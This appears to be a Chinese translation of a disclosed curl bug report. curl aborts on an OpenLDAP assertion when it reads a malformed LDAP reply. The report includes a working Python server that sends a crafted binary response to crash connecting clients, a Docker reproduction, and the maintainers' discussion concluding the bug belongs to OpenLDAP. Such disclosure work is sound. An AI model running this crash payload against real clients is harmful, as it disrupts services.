curl LDAP URL访问断言崩溃漏洞分析

本文详细分析了curl在处理特定LDAP URL时出现的断言崩溃问题,包含复现步骤、影响评估以及开发团队的讨论过程,涉及OpenLDAP库的断言机制和潜在的安全风险。

curl ASSERTs when accessing an LDAP URL

摘要

curl在访问LDAP URL时可能崩溃。

代码(128字节):

1
2
3
curl ldap://localhost:1388
curl: result.c:930: try_read1msg: Assertion `!BER_BVISEMPTY( &resoid )' failed.
Aborted (core dumped)

本报告未使用AI生成,由oss-fuzz启用,但由我向curl-fuzzer添加LDAP支持后触发。

受影响版本

此问题在我系统的curl版本以及master分支的curl中均存在。

复现步骤

运行以下Python脚本:

代码(2.21 KiB):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/env python3
"""
Simple socket server that sends a specific binary response on port 1388.
"""

import socket
import logging
import sys

# Set up logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
log = logging.getLogger(__name__)

# The binary response to send
BINARY_RESPONSE = b'0%1\x01\x00x\x00\r\x00\x00\x00\x00\x00\x8a\x00\r\x00\x06\x00\r\x00\x00\x00\r\x00\x00\x00\x00\xc7\xc7\xc7\x9b\x80\xeb\x05123456\x00\x03\x00\x00\x00\tcn=d\x00\x10man'

PORT = 1388

def handle_client(client_socket, client_address):
    """Handle a single client connection."""
    try:
        log.info(f"Client connected from {client_address}")

        # Send the binary response
        client_socket.send(BINARY_RESPONSE)
        log.info(f"Sent {len(BINARY_RESPONSE)} bytes to {client_address}")

    except Exception as e:
        log.error(f"Error handling client {client_address}: {e}")
    finally:
        # Close the client socket
        client_socket.close()
        log.info(f"Connection closed for {client_address}")

def run_server():
    """Run the socket server."""
    # Create a socket
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # Allow socket reuse
    server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

    try:
        # Bind to the port
        server_socket.bind(('localhost', PORT))
        server_socket.listen(5)

        log.info(f"Server listening on port {PORT}")
        log.info("Press Ctrl+C to stop the server")

        while True:
            try:
                # Accept a client connection
                client_socket, client_address = server_socket.accept()

                # Handle the client in the same thread (simple approach)
                handle_client(client_socket, client_address)

            except KeyboardInterrupt:
                log.info("Server shutdown requested")
                break
            except Exception as e:
                log.error(f"Error accepting connection: {e}")

    except Exception as e:
        log.error(f"Error starting server: {e}")
        sys.exit(1)
    finally:
        server_socket.close()
        log.info("Server socket closed")

if __name__ == "__main__":
    run_server()

该脚本在端口1388上运行一个服务器,仅返回二进制响应。

然后调用curl:

代码(128字节):

1
2
3
curl ldap://localhost:1388
curl: result.c:930: try_read1msg: Assertion `!BER_BVISEMPTY( &resoid )' failed.
Aborted (core dumped)

curl在OpenLDAP中断言失败。

影响

摘要: 如果curl在服务器上使用,且攻击者可以影响传递给curl的URL,并且该URL可以使用LDAP协议,服务器将崩溃,可能导致服务中断。

时间线评论

bagder (curl staff) 发布于 2025年7月17日 19:24 UTC:

这看起来像是openldap内部的断言。此外,断言意味着调试构建,可能遵循不同的规则。

cmeister2 (curl staff) 发布于 2025年7月17日 19:57 UTC:

值得一提的是,我可以在ubuntu:latest Docker容器(即ubuntu:noble)中复现此问题,没有调试库(据我所知)。

代码(248字节):

1
2
3
4
5
6
7
docker run -it -v $PWD/socket_server.py:/tmp/socket_server.py ubuntu:latest 
...
export DEBIAN_FRONTEND=noninteractive
apt update >/dev/null 2>&1
apt install -y curl python3 >/dev/null 2>&1
python3 /tmp/socket_server.py &
curl ldap://localhost:1388

输出(888字节):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
$ docker run -it -v $PWD/socket_server.py:/tmp/socket_server.py ubuntu:latest 
root@f68274eeed75:/# export DEBIAN_FRONTEND=noninteractive
root@f68274eeed75:/# apt update >/dev/null 2>&1 
root@f68274eeed75:/# apt install -y curl python3 >/dev/null 2>&1
root@f68274eeed75:/# python3 /tmp/socket_server.py &
[1] 3113
root@f68274eeed75:/# 2025-07-17 19:56:23,952 - INFO - Server listening on port 1388
2025-07-17 19:56:23,952 - INFO - Press Ctrl+C to stop the server

root@f68274eeed75:/# curl ldap://localhost:1388
2025-07-17 19:56:44,348 - INFO - Client connected from ('127.0.0.1', 52256)
2025-07-17 19:56:44,349 - INFO - Sent 56 bytes to ('127.0.0.1', 52256)
2025-07-17 19:56:44,349 - INFO - Connection closed for ('127.0.0.1', 52256)
curl: ../../../../libraries/libldap/result.c:945: try_read1msg: Assertion `!BER_BVISEMPTY( &resoid )' failed.
Aborted (core dumped)
root@f68274eeed75:/#

jimfuller2024 (curl staff) 发布于 2025年7月17日 20:14 UTC:

已复现

1
2
3
curl ldap://localhost:1388
curl: result.c:952: try_read1msg: Assertion `!BER_BVISEMPTY( &resoid )' failed.
[1]    43669 IOT instruction (core dumped)  curl ldap://localhost:1388

正在调查…

jimfuller2024 (curl staff) 发布于 2025年7月17日 20:21 UTC:

BER_前缀我认为指的是基本编码规则(Basic Encoding Rules),这是LDAP协议使用的数据格式…更确切地说是ASN.1的基本编码规则…我怀疑这些可能是运行时断言(但我需要深入研究ldap以确认)。

我们可能希望有更好的响应,例如:

1
curl: (52) Received malformed LDAP message from server.

bagder (curl staff) 发布于 2025年7月17日 21:39 UTC:

  1. 我认为OpenLDAP在发布构建中不应断言,这是一个错误。可能在Debian中?可能在OpenLDAP本身?断言来自ldap_result()函数调用内部,我无法检测到我们使用该函数有任何问题的方式。
  2. 我们之前已经驳回了类似的攻击,其中崩溃的原因是“如果我们允许用户提供URL”,因为如果用户决定要操作的URL,他们可以做出无数恶作剧。
  3. 应用程序已经需要处理崩溃并适当重启。对于任何合理的部署,崩溃真的是一种DoS吗?(如果我们假设除非我们让用户提供URL,否则无法达到此崩溃。)

bagder (curl staff) 发布于 2025年7月17日 21:58 UTC:

我很确定这是断言,即使托管源代码中的行数略有不同: https://git.openldap.org/openldap/openldap/-/blob/master/libraries/libldap/result.c?ref_type=heads#L1013

bagder (curl staff) 发布于 14天前:

现在收到了大量新的oss-fuzz报告,这些报告似乎都是OpenLDAP问题,类似此问题。

jimfuller2024 (curl staff) 发布于 13天前:

那么我们是否都同意这是openldap中的问题?并且认为使用NDEBUG会消失…我认为curl在这里能做的只是记录和/或向openldap项目提出问题。

bagder (curl staff) 发布于 13天前:

认为使用NDEBUG会消失

断言会消失,问题当然是会发生什么。但我仍然认为这不是curl的问题。我们应该将此问题带给OpenLDAP开发人员。

hyc-ol 以默认权限加入此报告作为参与者。13天前

hyc-ol 发布于 13天前:

是的,使用NDEBUG会消失。我认为如果不想断言,应该只是丢弃消息,因为它是格式错误的。您可以向OpenLDAP ITS提交票据,我们将修补它。我们不认为这是一个安全问题。通常没有人将LDAP客户端指向随机的不可信LDAP服务器。

bagder (curl staff) 关闭报告并将状态更改为Informative。12天前:

对curl来说不是安全问题。 我们应该将其带给OpenLDAP,可能也带给Debian。

bagder (curl staff) 发布于 12天前:

谢谢@hyc-ol!

bagder (curl staff) 请求披露此报告。12天前:

根据项目的透明政策,我们希望所有报告都被披露并公开。

cmeister2 (curl staff) 同意披露此报告。12天前

此报告已被披露。12天前

hyc-ol 发布于 12天前:

顺便说一句,如果使用curl的服务器允许用户输入任意URL,那么这更像是一个输入清理问题,类似于SQL注入。不完全是底层库的错。

dfandrich (curl staff) 发布于 12天前:

我不同意“使用curl的服务器允许用户输入任意URL”是一个问题。curl必须对服务器可能抛出的任何内容具有鲁棒性,无论是友好的服务器还是其他服务器。并且访问用户指定的URL,无论是本地用户还是远程用户(通过重定向或爬虫),从curl的角度来看应该是安全的(这排除了curl从该服务器准确接收的数据内容)。这包括LDAP服务器。

bagder (curl staff) 发布于 11天前:

我提交了 https://bugs.openldap.org/show_bug.cgi?id=10370

报告详情

报告时间: 2025年7月17日 18:40 UTC
报告者: cmeister2
报告对象: curl
参与者:
报告ID: #3258022
严重性: 无评级 (—)
披露时间: 2025年7月22日 08:02 UTC
弱点: 业务逻辑错误
CVE ID:
赏金:
账户详情:

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计